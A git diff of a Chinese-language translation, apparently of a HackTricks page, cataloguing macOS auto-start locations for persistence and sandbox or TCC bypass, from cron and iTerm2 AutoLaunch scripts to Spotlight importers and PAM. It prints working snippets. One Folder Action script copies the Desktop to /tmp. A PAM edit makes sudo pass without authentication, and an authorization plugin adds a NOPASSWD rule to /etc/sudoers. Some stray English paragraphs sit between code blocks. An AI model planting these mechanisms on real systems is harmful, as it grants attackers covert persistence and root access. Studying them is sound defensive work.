* **触发器**:取决于 cron 作业
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
|
@ -424,9 +431,9 @@ crontab -l
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
在这里你可以找到常规的**cron** **任务**,**at** **任务**(不太常用),以及**periodic** **任务**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性任务。
|
||||
在这里,您可以找到常规的**cron** **作业**,**at** **作业**(不太常用),以及**periodic** **作业**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性作业。
|
||||
|
||||
要通过编程方式添加**用户cron任务**,可以使用:
|
||||
要通过编程方式添加**用户cron作业**,可以使用:
|
||||
```bash
|
||||
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
||||
crontab /tmp/cron
|
||||
|
@ -435,7 +442,7 @@ crontab /tmp/cron
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒的有用工具: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2曾经被授予TCC权限
|
||||
|
||||
|
@ -448,7 +455,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
|
|||
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||
* **触发器**: 打开 iTerm
|
||||
|
||||
#### 描述 & Exploitation
|
||||
#### 描述与利用
|
||||
|
||||
存储在 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** 中的脚本将被执行。例如:
|
||||
```bash
|
||||
|
@ -463,15 +470,15 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
|
||||
#### Launch Agents
|
||||
|
||||
Launch Agents are used to run commands when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run commands at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -555,7 +562,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
||||
* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 但必须安装 Hammerspoon
|
||||
* TCC 绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 它请求辅助功能权限
|
||||
|
@ -567,7 +574,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### 描述
|
||||
|
||||
[Hammerspoon](https://github.com/Hammerspoon/hammerspoon) 作为 macOS 的自动化平台,利用 LUA 脚本语言进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。
|
||||
|
||||
该应用程序寻找一个单一文件,`~/.hammerspoon/init.lua`,并在启动时执行该脚本。
|
||||
```bash
|
||||
|
@ -578,22 +585,22 @@ EOF
|
|||
```
|
||||
### BetterTouchTool
|
||||
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 但必须安装BetterTouchTool
|
||||
* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 它请求Automation-Shortcuts和Accessibility权限
|
||||
|
||||
#### 位置
|
||||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
这个工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**,使其执行任意代码(快捷键可能只是按下一个键)。
|
||||
这个工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**(一个快捷键可能只是按下一个键)。
|
||||
|
||||
### Alfred
|
||||
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 但必须安装Alfred
|
||||
* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 它请求Automation、Accessibility甚至Full-Disk访问权限
|
||||
|
||||
#### 位置
|
||||
|
@ -606,9 +613,9 @@ EOF
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 但需要启用和使用ssh
|
||||
* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH用于具有FDA访问权限
|
||||
|
||||
#### 位置
|
||||
|
@ -620,7 +627,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* **触发器**:通过ssh登录
|
||||
|
||||
{% hint style="danger" %}
|
||||
要打开ssh需要完全磁盘访问权限:
|
||||
要打开ssh需要完全磁盘访问权限:
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
|
@ -635,7 +642,7 @@ sudo systemsetup -setremotelogin on
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但需要使用参数执行 `osascript`
|
||||
* 但需要使用 `osascript` 执行参数
|
||||
* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
@ -649,7 +656,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
|||
|
||||
#### 描述
|
||||
|
||||
在系统偏好设置 -> 用户与组 -> **登录项** 中,您可以找到用户登录时要执行的 **项目**。\
|
||||
在“系统偏好设置” -> “用户与组” -> **登录项** 中,您可以找到用户登录时要执行的 **项目**。\
|
||||
可以通过命令行列出、添加和删除它们:
|
||||
```bash
|
||||
#List all items:
|
||||
|
@ -665,25 +672,25 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 进行指示,该API将在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中存储配置。
|
||||
|
||||
### 作为登录项的ZIP
|
||||
### 将ZIP作为登录项
|
||||
|
||||
(查看关于登录项的前一节,这是一个扩展)
|
||||
(查看有关登录项的先前部分,这是一个扩展)
|
||||
|
||||
如果将一个**ZIP**文件存储为**登录项**,**`Archive Utility`**将打开它,例如,如果ZIP文件存储在**`~/Library`**中,并包含带有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,**plist中指定的后门将被执行**。
|
||||
如果将**ZIP**文件存储为**登录项**,**`Archive Utility`**将打开它,例如,如果ZIP文件存储在**`~/Library`**中,并包含带有后门的文件夹**`LaunchAgents/file.plist`**,则该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,**在plist中指定的后门将被执行**。
|
||||
|
||||
另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,这种技术仍将起作用。
|
||||
另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,则此技术仍将起作用。
|
||||
|
||||
### At
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
|
||||
* 用于绕过沙盒的有用工具: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 但您需要**执行** **`at`** 并且它必须是**启用**的
|
||||
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但您需要**执行** **`at`**,并且它必须是**启用**的
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
* 需要**执行** **`at`** 并且它必须是**启用**的
|
||||
* 需要**执行** **`at`**,并且它必须是**启用**的
|
||||
|
||||
#### **描述**
|
||||
|
||||
|
@ -703,7 +710,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
以上我们可以看到两个已安排的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。
|
||||
以上我们可以看到两个已计划的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -749,9 +756,9 @@ total 32
|
|||
```
|
||||
文件名包含队列、作业编号和计划运行时间。例如,让我们看看 `a0001a019bdcd2`。
|
||||
|
||||
- `a` - 这是队列
|
||||
- `0001a` - 十六进制的作业编号,`0x1a = 26`
|
||||
- `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以 60,我们得到 `1619509560`,即 `GMT: 2021年4月27日,星期二 7:46:00`。
|
||||
* `a` - 这是队列
|
||||
* `0001a` - 十六进制的作业编号,`0x1a = 26`
|
||||
* `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以60,我们得到 `1619509560`,这是 `GMT: 2021年4月27日,星期二 7:46:00`。
|
||||
|
||||
如果我们打印作业文件,我们会发现它包含了我们使用 `at -c` 得到的相同信息。
|
||||
|
||||
|
@ -760,20 +767,20 @@ total 32
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
- 有用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
- 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作
|
||||
- TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
- 它具有一些基本的TCC权限,如桌面、文稿和下载
|
||||
* 有用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作
|
||||
* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 它具有一些基本的TCC权限,如桌面、文稿和下载
|
||||
|
||||
#### 位置
|
||||
|
||||
- **`/Library/Scripts/Folder Action Scripts`**
|
||||
- 需要 root 权限
|
||||
- **触发器**:访问指定文件夹
|
||||
- **`~/Library/Scripts/Folder Action Scripts`**
|
||||
- **触发器**:访问指定文件夹
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* 需要 root 权限
|
||||
* **触发器**:访问指定文件夹
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **触发器**:访问指定文件夹
|
||||
|
||||
#### 描述和利用
|
||||
#### 描述与利用
|
||||
|
||||
文件夹操作是由文件夹中的更改自动触发的脚本,例如添加、删除项目,或其他操作,如打开或调整文件夹窗口大小。这些操作可用于各种任务,并且可以通过不同方式触发,如使用 Finder UI 或终端命令。
|
||||
|
||||
|
@ -782,9 +789,9 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 制作文件夹操作工作流,并将其安装为服务。
|
||||
2. 通过文件夹上下文菜单中的文件夹操作设置手动附加脚本。
|
||||
3. 利用 OSAScript 向 `System Events.app` 发送苹果事件消息,以通过编程方式设置文件夹操作。
|
||||
- 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。
|
||||
* 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。
|
||||
|
||||
以下脚本是文件夹操作可执行的示例:
|
||||
以下脚本是文件夹操作中可以执行的示例:
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
|
@ -798,7 +805,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
在脚本编译完成后,通过执行以下脚本来设置文件夹操作。该脚本将全局启用文件夹操作,并将先前编译的脚本特定附加到桌面文件夹。
|
||||
在脚本编译完成后,通过执行以下脚本设置文件夹操作。此脚本将全局启用文件夹操作,并将先前编译的脚本专门附加到桌面文件夹。
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -812,9 +819,9 @@ fa.scripts.push(myScript);
|
|||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* 通过 GUI 实现这种持久性的方法如下:
|
||||
* 这是通过 GUI 实现持久性的方法:
|
||||
|
||||
这是将被执行的脚本:
|
||||
这是将要执行的脚本:
|
||||
|
||||
{% code title="source.js" %}
|
||||
```applescript
|
||||
|
@ -856,21 +863,21 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
4. 打开Folder Actions Setup.app以使用此配置:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
对我来说这个方法不起作用,但这是来自文档的指令 :(
|
||||
对我来说这个方法不起作用,但这是来自报告的指令:(
|
||||
{% endhint %}
|
||||
|
||||
### Dock快捷方式
|
||||
|
||||
文档:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
报告:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* 用于绕过沙盒的有用方法:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但您需要在系统内安装了一个恶意应用程序
|
||||
* 但您需要在系统内安装一个恶意应用程序
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
* `~/Library/Preferences/com.apple.dock.plist`
|
||||
* **触发条件**:当用户点击Dock中的应用程序时
|
||||
* **触发器**:当用户点击Dock内的应用程序时
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
|
@ -946,21 +953,21 @@ killall Dock
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* 用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 需要发生一个非常具体的动作
|
||||
* 需要发生非常具体的操作
|
||||
* 你将进入另一个沙盒
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
* `/Library/ColorPickers`
|
||||
* 需要 root 权限
|
||||
* 需要root权限
|
||||
* 触发条件:使用颜色选择器
|
||||
* `~/Library/ColorPickers`
|
||||
* 触发条件:使用颜色选择器
|
||||
|
||||
#### 描述 & 攻击
|
||||
#### 描述与利用
|
||||
|
||||
**编译一个颜色选择器** bundle 与你的代码(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),并添加一个构造函数(就像[屏幕保护程序部分](macos-auto-start-locations.md#screen-saver)中的那样),然后将 bundle 复制到 `~/Library/ColorPickers`。
|
||||
**编译一个颜色选择器**捆绑包与你的代码(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),并添加一个构造函数(就像[屏幕保护程序部分](macos-auto-start-locations.md#screen-saver)中一样),然后将捆绑包复制到`~/Library/ColorPickers`。
|
||||
|
||||
然后,当颜色选择器被触发时,你的代码也应该被执行。
|
||||
|
||||
|
@ -982,18 +989,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
|
|||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
||||
|
||||
* 用于绕过沙盒: **否,因为您需要执行自己的应用程序**
|
||||
* 有用于绕过沙盒: **否,因为您需要执行自己的应用程序**
|
||||
* TCC绕过: ???
|
||||
|
||||
#### 位置
|
||||
|
||||
* 特定应用程序
|
||||
* 一个特定的应用程序
|
||||
|
||||
#### 描述和利用
|
||||
#### 描述 & 攻击
|
||||
|
||||
一个带有Finder Sync扩展的应用程序示例[**可以在这里找到**](https://github.com/D00MFist/InSync)。
|
||||
|
||||
应用程序可以拥有`Finder Sync扩展`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必须**被沙盒化**(尽管可以添加宽松的例外),并且必须注册到类似于:
|
||||
应用程序可以拥有`Finder Sync Extensions`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必顶**必须被沙盒化**(尽管可以添加宽松的例外),并且必须注册到类似于:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -1024,7 +1031,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
|
||||
在Xcode中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
|
||||
|
||||
**构建**它,并将`.saver`捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序GUI,只需单击它,就应该生成大量日志:
|
||||
**构建**它,并将`.saver`捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序GUI,只需单击它,它应该会生成大量日志:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1038,7 +1045,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,因为在加载此代码的二进制文件的授权中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)您可以找到**`com.apple.security.app-sandbox`**,因此您将处于**常见应用程序沙箱内**。
|
||||
请注意,因为在加载此代码的二进制文件的授权中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)您可以找到**`com.apple.security.app-sandbox`**,您将处于**常见应用程序沙箱内**。
|
||||
{% endhint %}
|
||||
|
||||
Saver 代码:
|
||||
|
@ -1112,22 +1119,22 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但最终会进入一个应用程序沙盒
|
||||
* 但最终会陷入应用程序沙盒
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
* 沙盒看起来非常有限
|
||||
* 沙盒看起来非常受限制
|
||||
|
||||
#### 位置
|
||||
|
||||
* `~/Library/Spotlight/`
|
||||
* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* `/Library/Spotlight/`
|
||||
* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* 需要Root权限
|
||||
* `/System/Library/Spotlight/`
|
||||
* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* 需要Root权限
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **触发器**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。
|
||||
* 需要新的应用程序
|
||||
|
||||
#### 描述和利用
|
||||
|
@ -1137,7 +1144,7 @@ Spotlight是macOS内置的搜索功能,旨在为用户提供**快速和全面
|
|||
|
||||
Spotlight的基本机制涉及一个名为'mds'的中央进程,代表**'元数据服务器'**。该进程协调整个Spotlight服务。除此之外,还有多个执行各种维护任务的'mdworker'守护程序,例如索引不同文件类型(`ps -ef | grep mdworker`)。这些任务通过Spotlight导入器插件或**".mdimporter bundles**"实现,这些插件使Spotlight能够理解和索引各种文件格式的内容。
|
||||
|
||||
这些插件或**`.mdimporter`** bundles位于先前提到的位置,如果出现新的bundle,它将在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些**文件类型和扩展名**,这样,当创建具有指定扩展名的新文件时,Spotlight将使用它们。
|
||||
这些插件或**`.mdimporter`** bundles位于先前提到的位置,如果出现新的bundle,它会在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些**文件类型和扩展名**,这样,当创建具有指定扩展名的新文件时,Spotlight将使用它们。
|
||||
|
||||
可以通过运行以下命令**找到所有加载的`mdimporters`**:
|
||||
```bash
|
||||
|
@ -1148,7 +1155,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
例如,**/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件(扩展名为 `.iba` 和 `.book` 等):
|
||||
例如 **/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件(扩展名为 `.iba` 和 `.book` 等):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1190,15 +1197,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
此外,系统默认插件始终优先,因此攻击者只能访问那些苹果自己的`mdimporters`未索引的文件。
|
||||
{% endhint %}
|
||||
|
||||
要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**以支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
|
||||
然后**更改**函数**`GetMetadataForFile`**的代码,以在创建具有处理的扩展名的文件时执行您的有效负载。
|
||||
要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**,以便支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
|
||||
然后**更改**函数**`GetMetadataForFile`**的代码,以便在创建具有已处理扩展名的文件时执行您的有效负载。
|
||||
|
||||
最后**构建并复制您的新`.mdimporter`**到三个先前位置之一,您可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。
|
||||
|
||||
### ~~首选项窗格~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
看起来这似乎不再起作用。
|
||||
看起来这个不再起作用了。
|
||||
{% endhint %}
|
||||
|
||||
撰写:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||
|
@ -1215,12 +1222,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
|
||||
#### 描述
|
||||
|
||||
看起来这似乎不再起作用。
|
||||
看起来这个不再起作用了。
|
||||
|
||||
## Root沙箱绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将内容写入文件**来**执行某些操作**,而且需要**root**权限和/或其他**奇怪的条件**。
|
||||
在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将内容写入文件**并且是**root**或需要其他**奇怪条件**来简单执行某些内容。
|
||||
{% endhint %}
|
||||
|
||||
### 周期性
|
||||
|
@ -1228,7 +1235,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
撰写:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* 用于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但您需要root权限
|
||||
* 但您需要是root用户
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
@ -1282,7 +1289,7 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
如果您设法编写`/etc/daily.local`、`/etc/weekly.local`或`/etc/monthly.local`中的任何一个文件,它将**迟早被执行**。
|
||||
如果您设法编写任何文件`/etc/daily.local`、`/etc/weekly.local`或`/etc/monthly.local`,它将**迟早被执行**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,周期性脚本将作为脚本的所有者**执行**。因此,如果常规用户拥有脚本,它将作为该用户执行(这可能会防止特权升级攻击)。
|
||||
|
@ -1293,23 +1300,23 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* 有用于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但您需要是root
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
* 总是需要root权限
|
||||
* 始终需要Root权限
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
由于PAM更专注于**持久性**和恶意软件,而不是在macOS内部轻松执行,因此本博客不会提供详细解释,**请阅读这些文章以更好地理解这种技术**。
|
||||
由于PAM更专注于**持久性**和恶意软件,而不是在macOS内部轻松执行,因此本博客不会提供详细解释,**请阅读这些文章以更好地理解这一技术**。
|
||||
|
||||
使用以下命令检查PAM模块:
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
一种滥用PAM的持久性/权限提升技术就是修改模块/etc/pam.d/sudo,在开头添加以下行:
|
||||
一种滥用PAM的持久性/权限提升技术很简单,只需修改模块/etc/pam.d/sudo,在开头添加以下行:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1324,7 +1331,7 @@ account required pam_permit.so
|
|||
password required pam_deny.so
|
||||
session required pam_permit.so
|
||||
```
|
||||
因此,任何尝试使用**`sudo`的操作**都将起作用。
|
||||
因此,任何尝试使用**`sudo`的操作**都会生效。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,此目录受TCC保护,因此用户很可能会收到要求访问权限的提示。
|
||||
|
@ -1345,9 +1352,9 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
* 需要root权限
|
||||
* 还需要配置授权数据库以使用插件
|
||||
|
||||
#### 描述和利用
|
||||
#### 描述与利用
|
||||
|
||||
您可以创建一个授权插件,该插件将在用户登录时执行以保持持久性。有关如何创建这些插件之一的更多信息,请查看先前的写作(请注意,编写不当的插件可能会将您锁在外面,您将需要从恢复模式清理您的Mac)。
|
||||
您可以创建一个授权插件,在用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看先前的写作(请注意,编写不当的插件可能会将您锁定,您将需要从恢复模式中清理您的Mac)。
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1366,7 +1373,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
|||
